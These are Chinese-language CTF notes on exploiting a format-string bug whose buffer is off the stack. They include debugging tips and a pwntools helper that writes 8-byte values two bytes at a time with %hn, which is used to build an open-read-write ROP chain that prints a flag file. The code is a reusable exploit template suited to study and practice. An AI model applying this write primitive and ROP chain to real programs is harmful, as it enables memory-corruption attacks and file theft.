非栈上格式化字符串
(非栈上格式化字符串)往retaddr写一个orw,这种一般都要有无限次写才行,同时要找到栈上一个链才行
要注意链写的时候不要被覆盖,%{0}c会写入1,如果想写入0前面什么都没有就行(自己dbg试出来的) 注意read,write函数的rsi,rdx都要重新赋值,因为dbg的时候发现它们的值改变了 有时候flag字符串不太对(比如可能是flags),需要自己写入flag字符串即可 有时候为了节省次数写入0可用%ln 注意有时候写到bss段上残留有上次的数据,因此用payload=payload.ljust(0x50,‘a’)清除残留 其实也可以再read一次来orw 有时候程序只有一次格式化字符串,可以覆盖printf自身的返回地址,无限进行格式化字符串
def write(ret,func,c=-1):
if(c>=0):
#最低2字节
if(c==0):
payload=f"%{ret&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
if(c>0):
payload=f"%{ret&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%{c}c%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
#中间2字节
payload=f"%{(ret+2)&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
#高2字节
payload=f"%{(ret+4)&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
#最高2字节
payload=f"%{(ret+6)&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
return
#低2字节
payload=f"%{ret&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%{func&0xffff}c%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
#中间2字节
func=func>>16
payload=f"%{(ret+2)&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%{func&0xffff}c%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
#高2字节
func=func>>16
payload=f"%{(ret+4)&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%{func&0xffff}c%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
#如果最高2字节也需要覆盖自己手动添加
payload=f"%{(ret+6)&0xffff}c%26$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
payload=f"%73$hn"
payload=payload.ljust(0x50,'a')
p.sendline(payload)
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx=libcbase+0x796a2
open_addr=libcbase+libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr=libcbase+libc.sym['write']
flag=libcbase + next(libc.search(b'flag'))
payload=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack)+p64(pop_rdx)+p64(0x50)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(write_addr)
#open
write(ret,pop_rdi)
write(ret+8,flag)
write(ret+8*2,pop_rsi)
write(ret+8*3,0,0)
write(ret+8*4,open_addr)
#read
write(ret+8*5,pop_rdi)
write(ret+8*6,3,3)
write(ret+8*7,pop_rsi)
write(ret+8*8,stack)
write(ret+8*9,pop_rdx)
write(ret+8*10,0x50,0x50)
write(ret+8*11,read_addr)
#write
write(ret+8*12,pop_rdi)
write(ret+8*13,1,1)
write(ret+8*14,pop_rsi)
write(ret+8*15,stack)
write(ret+8*16,pop_rdx)
write(ret+8*17,0x50,0x50)
write(ret+8*18,write_addr)